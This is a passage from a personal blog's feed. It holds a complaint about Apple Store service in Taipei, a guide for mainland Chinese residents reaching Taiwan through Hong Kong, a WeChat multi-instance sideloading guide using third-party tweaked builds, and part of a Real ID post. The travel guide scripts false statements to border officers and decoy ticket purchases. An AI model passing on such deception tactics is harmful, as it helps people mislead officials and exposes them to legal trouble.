里面，导致我跟这个主管，以及后来她从里面喊出来的工程师各自描述了一遍，那个女主管说的最搞笑的一句话是，我没有看到这个故障复现，所以你的手机没有问题。到最后，我选择退让一步，我说可以返厂，但是我需要提供备用机，她表示无法提供备用机。我问，返厂之后后面可以让我的朋友 Pick up 吗，她也表示不行。最后就这么不了了之了。直到我走出 Apple Store 的时候，已经是 22:50 了，已经超出了关门时间 50 分钟，他们宁愿跟我来回扯几个小时的谎言，也不愿意换机。&lt;/p&gt;
&lt;p&gt;第二天我又去了 Apple Xinyi A13，过了一晚上 iPhone 已经彻底无法开机，但是我不确定是不是没电了。到了 Apple Store 之后，小哥拿出了 MagSafe 无线充电器让我尝试一下是否可以充电。结果充了十几分钟似乎仍然无法开机，应该是真的彻底坏掉了。因为我前一天就已经来过这家店，小哥去询问他的主管应该如何处理。结果这个中年大叔过来直接跟我说，您的设备在台湾无法提供售后服务，我们已经确认过了确实提供不了。我问他依据是什么，他给我找出了美国的 &lt;a href=&quot;https://www.apple.com/applecare&quot;&gt;AppleCare 官网&lt;/a&gt;的一句小字，“Service coverage outside the country of purchase of your AppleCare plan is not guaranteed.”，他给我翻译说这句话的意思是 &lt;strong&gt;您的设备在台湾无法提供售后服务&lt;/strong&gt;。我让他逐个单词给我翻译哪里写了在台湾无法售后。他说就是这里这样写了，一直就指着这句话，复读 “您的设备在台湾无法提供售后服务，我们已经确认过了确实提供不了”。后面我让他叫一个别的同事过来，给我翻译一下这句话是什么意思。他喊了他的搭班主管过来，那是一个比较年轻的主管，就直接让他给我去处理换机的申请。并且让员工拿出美版换台版部分功能可能不可用的协议签署。后面我和那个年轻的主管聊了很多，他也没有刁难，后面就花了几分钟就解决问题了。&lt;/p&gt;
&lt;p&gt;最搞笑的事情是因为我前一天在 Apple Taipei 101 走之前要求他们给个说法。结果第二天我在 Apple Xinyi A13 完成换机之后，Apple Taipei 101 的主管给我回电了，说已经看到我解决了问题，恭喜我在 A13 完成了换机。我反问她为什么 A13 可以直接店内维修完成换机而你们不行，她说她也不知道，确实无法绕过系统限制。我问她你不是说我的设备被抽中了必须要返厂吗。她说她真的不知道，系统让她只能返厂。后面也懒得跟她废话了，真的是满嘴谎言。&lt;/p&gt;
&lt;p&gt;后面我和台湾的朋友说起这件事情，他跟我说 Apple Taipei 101 的服务态度特别差，Apple Xinyi A13 就要好一些。他甚至向 &lt;strong&gt;行政院消費者保護會線上申訴系統&lt;/strong&gt; 提交了投诉。最终 Apple 的工作人员回电表示他们的服务没有任何问题，直接挂断了电话，不接受任何多余的沟通。所以，台湾的 Apple Store 不仅是烂，而且是拿它没什么办法，即使是台湾人都拿它没办法，政府机构根本无法监管。而我认为的 Apple Taipei 101 明明是可以为我提供便利，却因为我不是台湾人，硬是要我多等待两周，而 Apple Xinyi A13 的主管也是一样，明明手机的已经进水变成砖块了，硬是要找官网的那句 Not Guaranteed 来搪塞我。我去过大陆地区上海和杭州的多家 Apple Store，我去过美国的多家 Apple Store，也去过日本东京和京都的多家 Apple Store，我从来没有遇到过 Apple 竟然会提供如此差劲的服务。&lt;/p&gt;
&lt;h2&gt;English&lt;/h2&gt;
&lt;p&gt;There are only two Apple Stores in all of Taiwan: Apple Taipei 101 and Apple Xinyi A13. The two stores are only about a 9-minute, 650-meter walk apart. I happened to be in Taipei recently when my iPhone 16 Pro needed a replacement under AppleCare+ due to water damage.&lt;/p&gt;
&lt;p&gt;On the first day, I made an appointment for repair at Apple Xinyi A13. When I arrived, the staff member who assisted me was quite friendly and said he would see what he could do. After taking my phone to the back for a bit, he returned and told me it could now be charged. He demonstrated with a charger, and indeed, it was charging. He explained that regulations in Taiwan are quite strict; if there&apos;s no obvious fogging in the camera lens and the device can still charge, they generally won&apos;t approve a replacement. I understood and left. However, as soon as I got back to my hotel, the phone started overheating while charging and then shut down automatically. I then booked an appointment for the same day at Apple Taipei 101, as Xinyi A13 was fully booked.&lt;/p&gt;
&lt;p&gt;Upon arriving at Apple Taipei 101, a male employee approached me. After glancing at the case file from Xinyi A13 and listening to my description, he immediately informed me that my phone had to be sent back to the factory in Singapore for repair, which would take about 7-14 days, and that an in-store repair was not an option. He also claimed that in Taiwan, all devices purchased abroad &lt;em&gt;must&lt;/em&gt; be sent back to the factory. At this point, I questioned him, asking if there was truly no precedent for an internationally purchased device being replaced in-store. He said no, stating that if my device were a Taiwanese model, it could be replaced on the spot, but not for an international one. This contradicted the experience of my good friend SteveYi, whose Japanese-model iPhone was replaced directly in-store in Taiwan. When I mentioned this, his explanation was that he didn&apos;t know and that &quot;the system makes all the decisions.&quot; He even showed me his iPad to prove he couldn&apos;t select the in-store repair option. I was obviously not convinced by his explanation. The employee became very impatient and told me to speak with his manager. A female manager then came out to talk to me, and she repeated the same script. She said my device was &quot;randomly selected&quot; to be sent back to the factory and that an in-store repair was impossible. I asked her if Apple&apos;s repair-determination system was like a lottery. She claimed it was just an example. Most importantly, during my entire time at Apple Taipei 101, they didn&apos;t perform a single diagnostic test—they didn&apos;t even touch my phone before demanding I send it to the factory. According to Apple&apos;s own policy, any water-damaged device is not to be repaired, only replaced. Therefore, the so-called &quot;factory repair&quot; was just a tactic to force me to wait an extra two weeks.&lt;/p&gt;
&lt;p&gt;After I insisted, the female manager said she would take the phone in to check if the liquid contact indicator had changed color. She explained that iPhones typically have two indicators, one internal and one external. A color change would confirm water damage. After a while, she returned and told me that because my device has no SIM card slot, it lacks an external indicator, so they couldn&apos;t be sure if the internal one had been triggered. She then announced, &quot;We just tested it, and it can be charged now.&quot; I asked her to bring a charger to test it. Sure enough, just 10-20 seconds after plugging it in, it stopped charging. The malfunction had clearly reproduced right in front of her. She said she would try again to apply for a replacement but came back saying an in-store repair was still not possible. The most ridiculous part was that the first employee hadn&apos;t even documented the malfunction I initially described in the case file, forcing me to repeat the story to the manager and later to an engineer she called from the back. The manager&apos;s most absurd statement was, &quot;I did not see the malfunction reproduce, so there is no problem with your phone.&quot;&lt;/p&gt;
&lt;p&gt;In the end, I decided to compromise. I said I could agree to the factory shipment, but I would need a loaner phone. She refused, stating they couldn&apos;t provide one. I asked if a friend could pick up the phone for me after the repair. She refused that as well. The situation ended in a stalemate. By the time I walked out of the Apple Store, it was 10:50 PM, 50 minutes past their closing time. They would rather spend hours telling me lies than replace my device.&lt;/p&gt;
&lt;p&gt;The next day, I went back to Apple Xinyi A13. Overnight, my iPhone had completely died and wouldn&apos;t turn on, though I wasn&apos;t sure if it was just out of battery. At the store, the staff member gave me a MagSafe charger to see if it would charge wirelessly. After more than ten minutes, it still wouldn&apos;t turn on; it was truly dead. Since I had been there the day before, the employee went to ask his manager how to proceed. A middle-aged man came over and told me directly, &quot;We cannot provide after-sales service for your device in Taiwan. We have already confirmed this.&quot; I asked him for the basis of this claim. He pulled up the US AppleCare website on his device and pointed to a line of fine print: &quot;Service coverage may be restricted to the country of purchase.&quot; He translated this for me as, &lt;strong&gt;&quot;Your device cannot be serviced in Taiwan.&quot;&lt;/strong&gt; I asked him to translate, word for word, where it said it couldn&apos;t be serviced &lt;em&gt;in Taiwan&lt;/em&gt;. He just kept pointing at the sentence and repeating, &quot;It says right here that we cannot provide service for your device in Taiwan. We have confirmed this.&quot; I then asked him to get another colleague to translate the sentence for me. He called over his fellow manager, a younger man, who immediately proceeded to process the replacement for me. He had an employee bring out a waiver to sign, acknowledging that a US-model replacement might have different features than a Taiwanese one. I had a long chat with the younger manager, who was reasonable and didn&apos;t give me any trouble. The whole issue was resolved in just a few minutes.&lt;/p&gt;
&lt;p&gt;The most laughable part came later. Because I had demanded an explanation before leaving Apple Taipei 101 the previous night, their manager called me back the next day after I had already completed the replacement at Xinyi A13. She said she saw that my issue had been resolved and congratulated me on getting the replacement at A13. I asked her why A13 could do an in-store replacement when they couldn&apos;t. She claimed she didn&apos;t know and that she really couldn&apos;t bypass the system&apos;s restrictions. I asked, &quot;Didn&apos;t you say my device was &apos;randomly selected&apos; and had to be sent to the factory?&quot; She just kept saying she truly didn&apos;t know and that the system forced her to choose the factory option. I couldn&apos;t be bothered to argue with her anymore; her words were just a stream of lies.&lt;/p&gt;
&lt;p&gt;Later, I told a Taiwanese friend about this. He said that the service at Apple Taipei 101 is notoriously bad, while Apple Xinyi A13 is much better. He had even filed a complaint with the &lt;strong&gt;Consumer Protection Committee of the Executive Yuan&lt;/strong&gt;. In the end, an Apple representative called him back, stated that their service was flawless, and promptly hung up, refusing any further discussion. So, the Apple Stores in Taiwan aren&apos;t just bad; you&apos;re powerless against them. Even local Taiwanese people can&apos;t do anything about it, as government agencies seem unable to regulate them. It&apos;s my belief that Apple Taipei 101 could have easily helped me but deliberately tried to make me wait two weeks simply because I wasn&apos;t Taiwanese. The manager at Apple Xinyi A13 was just as bad, trying to use the &quot;not guaranteed&quot; clause to brush me off even when my phone was a water-damaged brick. I have been to many Apple Stores in mainland China, in cities like Shanghai and Hangzhou, in the United States, and in Tokyo and Kyoto in Japan. I have never encountered such shockingly poor service from Apple.&lt;/p&gt;
</content:encoded></item><item><title>Traveling from Mainland China to Taiwan</title><link>https://missuo.me/posts/china-to-taiwan/</link><guid isPermaLink="true">https://missuo.me/posts/china-to-taiwan/</guid><description>A comprehensive guide for mainland Chinese residents to visit Taiwan using an overseas-issued entry permit, detailing the application process, transit strategies via Hong Kong, and practical tips for navigating Chinese exit controls.</description><pubDate>Sat, 19 Jul 2025 20:44:15 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;有段时间没写博客了，本来想着是等我飞完了这一趟台湾的航班再写，仔细想想好像我现在就可以写，到时候再补充就可以了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在我写这篇文章之前，我希望先明白几个缩写：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大陆居民往来台湾通行证：简称“大通证”。&lt;/li&gt;
&lt;li&gt;台湾另纸签证：简称“入台证”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;历史情况&lt;/h2&gt;
&lt;p&gt;很多年前，前往台湾使用的是另纸签证，你只需要向旅行社申请赴台旅游，就可以获得 A4 纸大小的另纸签证（后面我将简称为 “入台证”）。&lt;/p&gt;
&lt;p&gt;获得入台证后，你需要打印之后随身携带，使用中国护照在中国边检出境，在台湾边检使用护照和入台证入境。&lt;/p&gt;
&lt;p&gt;后来发生了变化，大陆居民前往需要使用大陆居民往来台湾通行证，这是一张和港澳通行证几乎完全一致的卡片，而背面是用于签注。如果想要顺利前往台湾，你需要获得这张卡片并且获得签注。使用这张卡片仅可以顺利出境中国，在台湾地区往来台湾通行证并非有效的身份证件，因此需要大通证配合入台证入境。（感谢 &lt;a href=&quot;https://x.com/im_xiaoxiao/status/1950205062699241668&quot;&gt;@im_xiaoxiao&lt;/a&gt; 的指正）&lt;/p&gt;
&lt;p&gt;然而，事情在 2019 年发生了改变。我在网上尝试寻找信息，但是很遗憾我只在 &lt;a href=&quot;https://ga.sz.gov.cn/ZDYW/SHQZ/CRJTZTG/content/post_1303081.html&quot;&gt;深圳市公安局&lt;/a&gt; 找到了相关信息。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于暂停办理往来台湾通行证个人旅游签注的通知公告：8 月 1 日起开始暂停办理往来台湾通行证个人旅游签注。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果这个通告是全国统一的话，在大陆应该已经有 6 年的时间停止办理大通证的旅行签注了。当然这里特别说明一下，大通证的空卡（不含签注）据我所知在全中国的大部分城市（除新疆等敏感地区）还是可以正常办理的。我当时办理护照和港澳通行证的时候，也顺便办理了大通证，当时工作人员就提醒我即使办了也去不了台湾，确定还要办吗。我当时想着签注停发是暂时的事，应该很快就会恢复，没想到这一等就是 6 年，直到 6 年后的今天依然没有恢复。&lt;/p&gt;
&lt;h2&gt;现在如何去台湾&lt;/h2&gt;
&lt;h3&gt;申请入台证&lt;/h3&gt;
&lt;p&gt;本篇文章不谈论商务签注，探亲签注或者医疗签注等等，只谈论旅行签注。自从大通证的签注停发后，前往台湾的唯一方式就是通过在海外的台湾驻外机构申请入台证。然后使用护照和入台证入境台湾，比起假医美假商务来说，这应该是最合法的方式了。&lt;/p&gt;
&lt;p&gt;申请入台证的门槛是你必须持有海外的长期居留签注，旅行签证不可以。常见的留学签证，工作签证，移民签证等等都可以。以美国为例，工作签证 H1B 和 L1 都可以，留学签证 F1 和陪读签证 F2 都可以，以及绿卡等等。申请的步骤也很简单，仅需在网站上提交你的信息，证明你在海外有长期的居留签证且目前正在这个国家即可，这里不过多赘述。按照我的经验一般不太会刁难，审核速度也非常快，如果是工作时间一般两个小时之内就可以批准，最慢也会在次日批准。但是按照我在美国申请的经验，入台证的申请有严格的领区限制。如果你没有去过台湾，纽约领区不会批准一年多次，仅会批准三个月单次，别的领区我不清楚，但是有朋友直接被批准了一年多次。这里简单补充一下，在美国的每一个台湾驻外机构要求的材料都不一样，签发三个月单次和一年多次的标准也完全不一样，因此只能祝你好运了。&lt;/p&gt;
&lt;p&gt;在你被批准入台证之后，&lt;strong&gt;请注意千万不要急着交钱&lt;/strong&gt;。原因是入台证的签发时间是按照缴费当日开始计算的，也就是说如果你不打算马上出发去台湾，你可以等到出发前几天定好机票再缴费。当然最晚的缴费期限是批准后 60 天之内。&lt;/p&gt;
&lt;h3&gt;飞到台湾&lt;/h3&gt;
&lt;p&gt;接下来我要着重讲一讲你有入台证之后，怎么飞到台湾的问题。很多朋友可能会说，飞到台湾不是很容易，买张机票不就走了，其实不然。如果你从海外的任何一个地方出发，那当然没有任何问题，买好机票准备好入台证就可以顺利出境你所在的国家和入境台湾。&lt;/p&gt;
&lt;p&gt;但是如果你从中国大陆出发，那问题就来了。你从中国大陆在边检出境的时候，如果你是前往台湾，必须要出示大通证和有效签注。请注意是 &lt;strong&gt;必须&lt;/strong&gt;。你当然可能会有大通证，但是你并没有签注，因此你无法出境。持有入台证无法出境。&lt;/p&gt;
&lt;p&gt;很多朋友可能会问，那我从大陆出发，飞往台湾（不入境），接下来我转机去其他国家，这样总可以了吧。答案是，不完全可以。这种情况只有在昆明，南昌，重庆三个城市出境，并且转机去其他国家，出示联程机票，中国边检会放行。至于为什么是这三个城市，可以参考 &lt;a href=&quot;https://www.sef.org.tw/article-1-15-552&quot;&gt;财团法人海峡交流基金会&lt;/a&gt; 的说明。这里额外补充一下，在我写这篇文章的时候，目前仅有重庆目前仍然还有直飞台北的航班 CA409。当然，如果你的行程是昆明/南昌-香港-台北-海外，应该也是可以顺利出境的。&lt;/p&gt;
&lt;p&gt;目前主流的可行的方案，就是通过第三国中转前往台湾，例如香港，东京，首尔或曼谷等等。比如上海-香港-台北是可行的，但是这里又会存在一个问题。你上海飞香港出境的时候使用港澳通行证还是护照？很多朋友可能会想不是都可以吗？港澳通行证和有效的香港签注当然可以顺利出境，但是这会存在很大的问题。我只建议只用护照去出大陆边检去台湾，而不是港澳通行证。使用港澳通行证的后遗症如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q：如果选择从内地陆路前往香港，建议使用护照还是港澳通行证加签注？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A：强烈建议使用护照，不要使用港澳通行证和签注！首先只要不是飞机前往香港，陆路一般也是可以刷自助的。再次如果人工审核的话，只要出示目的地签证即可。最后真的要出示机票的话，也可以准备一个真实可退的备份机票，甚至很多时候深圳的中国边检还会“温馨提示”旅客购买一个别的机票。意思是只要出了中国内地的边检，退不退就随你啦！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果使用护照，也会存在一定的问题。例如如果使用护照入境香港的条件是必须前往第三国，而即使你真的会飞往台湾，但是你并不能在出中国边检的时候告知你只是在香港转机接下来会飞往台湾。这样中国边检不会让你走。因此，只有两种方案可采用。第一种，购买飞往第三国（除台湾）的机票，例如香港飞往首尔，目前本人已经测试的是 &lt;strong&gt;韩亚航空 OZ&lt;/strong&gt; 可以在 24 小时之内免费退款（无任何手续费），香港飞往首尔的机票在过了中国大陆边检的时候即可操作退票。第二种，使用「中华人民共和国香港特别行政区进入许可」，这是我更推荐的方式，而我本人也正是使用「进入许可」出境中国大陆，以及成功入境离境香港。&lt;/p&gt;
&lt;h2&gt;实际操作（亲测可行且完美）&lt;/h2&gt;
&lt;h3&gt;机票信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;航空公司&lt;/th&gt;
&lt;th&gt;航班号&lt;/th&gt;
&lt;th&gt;出发地&lt;/th&gt;
&lt;th&gt;目的地&lt;/th&gt;
&lt;th&gt;机型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cathay Pacific&lt;/td&gt;
&lt;td&gt;CX961&lt;/td&gt;
&lt;td&gt;HGH (Hangzhou)&lt;/td&gt;
&lt;td&gt;HKG (Hong Kong)&lt;/td&gt;
&lt;td&gt;Airbus A330-300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cathay Pacific&lt;/td&gt;
&lt;td&gt;CX400&lt;/td&gt;
&lt;td&gt;HKG (Hong Kong)&lt;/td&gt;
&lt;td&gt;TPE (Taiwan)&lt;/td&gt;
&lt;td&gt;Airbus A330-300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cathay Pacific&lt;/td&gt;
&lt;td&gt;CX461&lt;/td&gt;
&lt;td&gt;TPE (Taiwan)&lt;/td&gt;
&lt;td&gt;HKG (Hong Kong)&lt;/td&gt;
&lt;td&gt;Airbus A330-300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cathay Pacific&lt;/td&gt;
&lt;td&gt;CX964&lt;/td&gt;
&lt;td&gt;HKG (Hong Kong)&lt;/td&gt;
&lt;td&gt;HGH (Hangzhou)&lt;/td&gt;
&lt;td&gt;Airbus A330-300&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;值机&lt;/h3&gt;
&lt;p&gt;如果跟我一样购买的是联程航班（美国信用卡指南说联程航班看运气，但是我亲测完全可行），在中国大陆 check in 的时候，使用护照只 check in 第一段 （HGH -&amp;gt; HKG），第二段千万不要 check in，根据 CX 地勤的说法，如果一旦完成了第二段的 check in，航司会自动上报行程给中国边检，也就是说，你在出境的时候，中国边检已经可以看到你只是在香港转机，最终目的地是前往台北。唯一的缺点就是行李无法直挂到台北，请注意多留一些转机的时间，防止行李无法重新托运。当然对我来说不存在这个问题，我的是 20 寸的 carry on 行李箱，可以选择托运可以选择 carry on。&lt;/p&gt;
&lt;h3&gt;人工出境&lt;/h3&gt;
&lt;p&gt;使用护照前往香港，无法使用自助通道，你唯一的选择是走人工通道，这个时候边检会问你去哪里，最终目的地是哪里。这个时候如果你有「进入许可」就说，“我的最终目的地就是香港，我有进入许可，不需要前往第三国”。如果你没有「进入许可」就说，“我的最终目的地就是首尔，我已经买好了香港飞往首尔的机票，要看吗”。&lt;/p&gt;
&lt;h3&gt;入境香港（可以选择不入境）&lt;/h3&gt;
&lt;p&gt;直接使用护照 + 进入许可入境香港。如果使用进入许可必须要走人工通道，请知悉，否则自助通道仅会给你 7 天的入境小票，会自动识别为转机的免签政策，正常进入许可应该是 14 天逗留。如果使用护照 + 飞往第三国的机票（台湾/首尔）都可以，可以直接走自助通道，会自动给你 7 天的入境小票。请记住使用护照入境之后，千万不要在出境香港返回大陆（例如乘坐东铁线回深圳），否则你可能会被香港敲上 DT 的标签，这是黑历史。如果你像我一样使用的是「进入许可」，可以直接忽略这个风险，因为「进入许可」本身就可以自由无限次进出香港，往返大陆和香港之间。&lt;/p&gt;
&lt;h3&gt;值机出境香港&lt;/h3&gt;
&lt;p&gt;值机的时候，香港的航司地勤会要求你出示入台证，一般情况下只需要等她处理就可以，不需要任何多余材料。因为如果你持有的是香港特区护照，也一样需要入台证。因此他们对这一块业务很熟练。&lt;/p&gt;
&lt;h3&gt;入境台湾&lt;/h3&gt;
&lt;p&gt;入境台湾的时候，使用护照 + 入台证即可。值得注意的是，如果你持有的是单次的入台证，你无需填写入境卡，如果你持有的是多次的入台证，你需要填写入境卡。另外，如果你想要在你的入台证同时留下「中华民国」入境和出境的章，请记得出境的时候别走自助通道，别问我怎么知道的。&lt;/p&gt;
&lt;h3&gt;从台湾经香港回大陆&lt;/h3&gt;
&lt;p&gt;我在 HGH 故意走了人工通道，当然你可以走自助通道。本来还想说会不会被教育，按照美卡指南的说法，2024 年之后很少会有去台湾被教育的案例。我被询问了从哪里回来，我说香港，她问我在香港转机吗，我说就是从香港旅游回来。就没有追问我了。我不确定他们的系统能否看到台湾-香港-杭州这样的行程，因为回来的时候我直接在 TPE check in 了两段行程，行李从 TPE 直挂到了 HGH。&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/mainland-china-resident-transit-in-tpe/&quot;&gt;美国信用卡指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;补充：新的骚操作想法（2025-01-20）&lt;/h2&gt;
&lt;p&gt;实际操作起来可能比较困难，或者无法实现。操作就是直接买两张机票，一张从上海飞台北，一张从上海飞首尔，必须要在同一个航站楼且同一个时间段。两张机票同时值机，然后出境中国大陆的时候，说去首尔。过完边检之后，直接去飞往台北的登机口，退票飞往首尔的机票（富哥可以不退）。&lt;/p&gt;
&lt;p&gt;这个操作的难点是，护照+入台证的组合，上海飞往台北的机票大概率是无法值机的，航空公司不会给值机，原因是这显然不符合出境的条件，如果给乘客值机，航司工作人员会被边检教育（航司有义务协助边检检查乘客是否满足出境和入境的条件）。&lt;/p&gt;
</content:encoded></item><item><title>WeChat multi-opening on iOS</title><link>https://missuo.me/posts/wechat-ios-multi-open/</link><guid isPermaLink="true">https://missuo.me/posts/wechat-ios-multi-open/</guid><description>An updated 2025 guide to WeChat multi-opening on iOS with push notification support using specific Bundle IDs like com.tencent.qy.xin and proper Apple Developer Capabilities configuration.</description><pubDate>Thu, 12 Jun 2025 04:27:11 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;在过去写过一篇 「&lt;a href=&quot;https://missuo.me/posts/sign-ios-app/&quot;&gt;iOS App Self-Signing and Multi-Opening&lt;/a&gt;」，在 2025 年的今天，有必要更新一下， 尤其是针对 微信 的多开。现在完全可以支持无后台推送，这是相比过去最大的改进。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;关于签名的部分我在这里不会重复赘述，因为之前的文章已经写的非常清楚了。如果你不知道如何签名可以参考之前的文章。我最推荐的签名 App 仍然会是 Esign，它简洁易用无广告完全免费。&lt;/p&gt;
&lt;p&gt;当然前段时间 Esign 已经关闭了他们官方签名的服务器，不过没有关系，你完全可以使用我自己写的在线签名服务。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sign.missuo.me&quot;&gt;https://sign.missuo.me&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;你可以使用这个服务来签名 Esign v5.0.2，未签名的 IPA 的下载链接为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/qbap/ONEJailbreak-IPAs/raw/refs/heads/main/esign_5.0.2_unsigned.ipa
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WeChat&lt;/h2&gt;
&lt;h3&gt;无后台推送&lt;/h3&gt;
&lt;p&gt;如果你想要无后台推送，过去只有官替（替换商店版本），不修改 Bundle ID 才能做到。现在不同的是多开也完全可以做到。你只需要把 Bundle ID 改为以下几个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.tencent.qy.xin
com.tencent.wx
com.tencent.mm.xin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;com.tencent.mm.xin&lt;/code&gt; 有些特殊，你必须要使用 Development 证书，而不能够使用 Distribution 证书。我一般只使用 &lt;code&gt;com.tencent.qy.xin&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;请注意，请必须在 Apple Developer 的 Identifiers 中创建一个不是 wildcard 的 Bundle ID，并且开启以下 Capabilities：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App Groups
Communication Notifications
Extended Virtual Addressing
HealthKit
HealthKit Estimate Recalibration
iCloud
In-App Purchase
Increased Debugging Memory Limit
Increased Memory Limit
Push Notifications
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;App Groups 至少选择一个。有些 Capabilities 是为了启用消息推送带头像的。我这里就不展开细说了。&lt;/p&gt;
&lt;p&gt;为了方便你直接使用，我已经打包好了一个 IPA 文件，你可以从这里下载：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OwO-Network/Repo/releases/download/2025-06-09/WeChat_8.0.57_PKC_0.7.6_MiYou_3.8.4_XNSP_2.2.5_WCElite_1.2.6_Push_Sound_Fixed_@repo.owo.network.ipa&quot;&gt;点我下载&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;你在签名的时候需要注意的是，不要勾选 &lt;code&gt;移除所有插件&lt;/code&gt;，不要勾选 &lt;code&gt;移除 mobileprovision&lt;/code&gt;。另外，你必须将 Bundle ID 修改为 &lt;code&gt;com.tencent.qy.xin&lt;/code&gt;。有的朋友可能会好奇，现在最新的 WeChat Beta 已经是 8.0.61，而正式版也已经来到了 8.0.60，为什么还在坚持使用 8.0.57 呢？不是我不想更新，而是因为大于 8.0.57 的版本模拟 iPad 登录的 UI 会存在问题，如果你只使用 iPhone 模式当然不受影响，但是我日常模拟 iPad 模式，为了完美的体验，我只能使用 8.0.57。&lt;/p&gt;
&lt;h3&gt;效果&lt;/h3&gt;
&lt;p&gt;如果权限正常，你看到的应该是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250612uIIZrH.jpg&quot; alt=&quot;20250612uIIZrH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果一切顺利，你收到的消息推送应该是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250612tyY7ck.PNG&quot; alt=&quot;20250612tyY7ck&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>I applied for Real ID</title><link>https://missuo.me/posts/real-id/</link><guid isPermaLink="true">https://missuo.me/posts/real-id/</guid><description>The process of applying for a Real ID at Pennsylvania PennDOT after the May 2025 enforcement date, plus a strategy of maintaining both PA State ID (Real ID) for flights and NJ DL for longer validity.</description><pubDate>Sat, 10 May 2025 13:56:40 GMT</pubDate><content:encoded>&lt;p&gt;2023 年刚来美国的时候，申请了 State ID，这样就不需要护照就可以坐飞机了，包括在美国的几乎 99% 需要出示身份证件的场合都可以使用。比较害怕护照随身携带丢失，所以我一般情况下只会随身携带 State ID。后来因为想拿 Driver&apos;s License，还参加了 Pennsylvania 的笔试拿到了 Permit。但是后来放弃了路考，原因是路考需要自己准备车，按照官方的说法，从租车公司租的车应该还不符合要求。再加上 PA 的规定，DL/State ID 的有效期严格与身份挂钩，最长只能能到 I-20 到期后两个月整。&lt;/p&gt;
&lt;p&gt;2024 年得知，原来在 New Jersey 可以直接用中国驾照换取 NJ DL，并且更吸引人的是 NJ DL 并不与身份挂钩，默认给到四年后的生日。经过一般研究，我成功在 2025 年花了一些时间去 NJ 办理了 NJ DL。感兴趣的可以参考 &lt;a href=&quot;https://missuo.me/posts/nj-mvc-license/&quot;&gt;这篇文章&lt;/a&gt;。其实有很多小坑，比如同样的材料并不是所有的 MVC 都能成功 waive 路考的。&lt;/p&gt;
&lt;p&gt;目前遇到的问题是，在 2025 年 5 月 7 日，Real ID 法案真的在美国生效了。你要知道这个法案从 2005 年就开始提出了，在疫情那会本来要开始执行了，结果又推迟到了 2025 年。本来以为这个法案应该没办法执行，原因是所有的美国居民都需要重新申请身份证件，这对任何人来说都是很大的一笔成本。&lt;/p&gt;
&lt;p&gt;Real ID 法案生效之后，也就是我无法使用不是 Real ID 的身份证件坐飞机了。当然截止到我写这篇文章的时候，我不太确定 TSA 是否已经严格开始执行。因为才刚开始三天，我猜可能开始会放水，毕竟大部分人都没有 Real ID。&lt;/p&gt;
&lt;h2&gt;申请 Real ID&lt;/h2&gt;
&lt;p&gt;PA 的 PennDOT 是不需要预约的，直接 walk in 即可办理。别的州可以自行打电话询问。&lt;/p&gt;
&lt;p&gt;由于 Real ID 相当严格，需要准备的材料也很多。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;两份地址证明（我用了水电费账单和银行账单）&lt;/li&gt;
&lt;li&gt;护照 + 美签&lt;/li&gt;
&lt;li&gt;有效的 I-20&lt;/li&gt;
&lt;li&gt;SSN&lt;/li&gt;
&lt;li&gt;I-94&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250510NXY9af.jpg&quot; alt=&quot;20250510NXY9af&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20250510Cb71Yi.JPG&quot; alt=&quot;20250510Cb71Yi&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实际测试下来，如果你的 I-20 是带 OPT 的版本，会给到你 OPT 到期的那一天。如果你的 I-20 没有 OPT 的话，会给到你 I-20 到期后的 60 天，也就是会覆盖 Grace Period。&lt;/p&gt;
&lt;p&gt;申请过程其实非常顺利，也没什么需要问你的，就是填表签字拍照。最后就是等 15 天 Real ID 寄到你家。&lt;/p&gt;
&lt;p&gt;值得吐槽的一点是，这个 Real ID 非常贵，Real ID 是 $30，再加上 Renew State ID 的费用是 $42.5，总共是 $72.5。&lt;/p&gt;
&lt;h2&gt;目前持有的证件&lt;/h2&gt;
&lt;ul&gt;
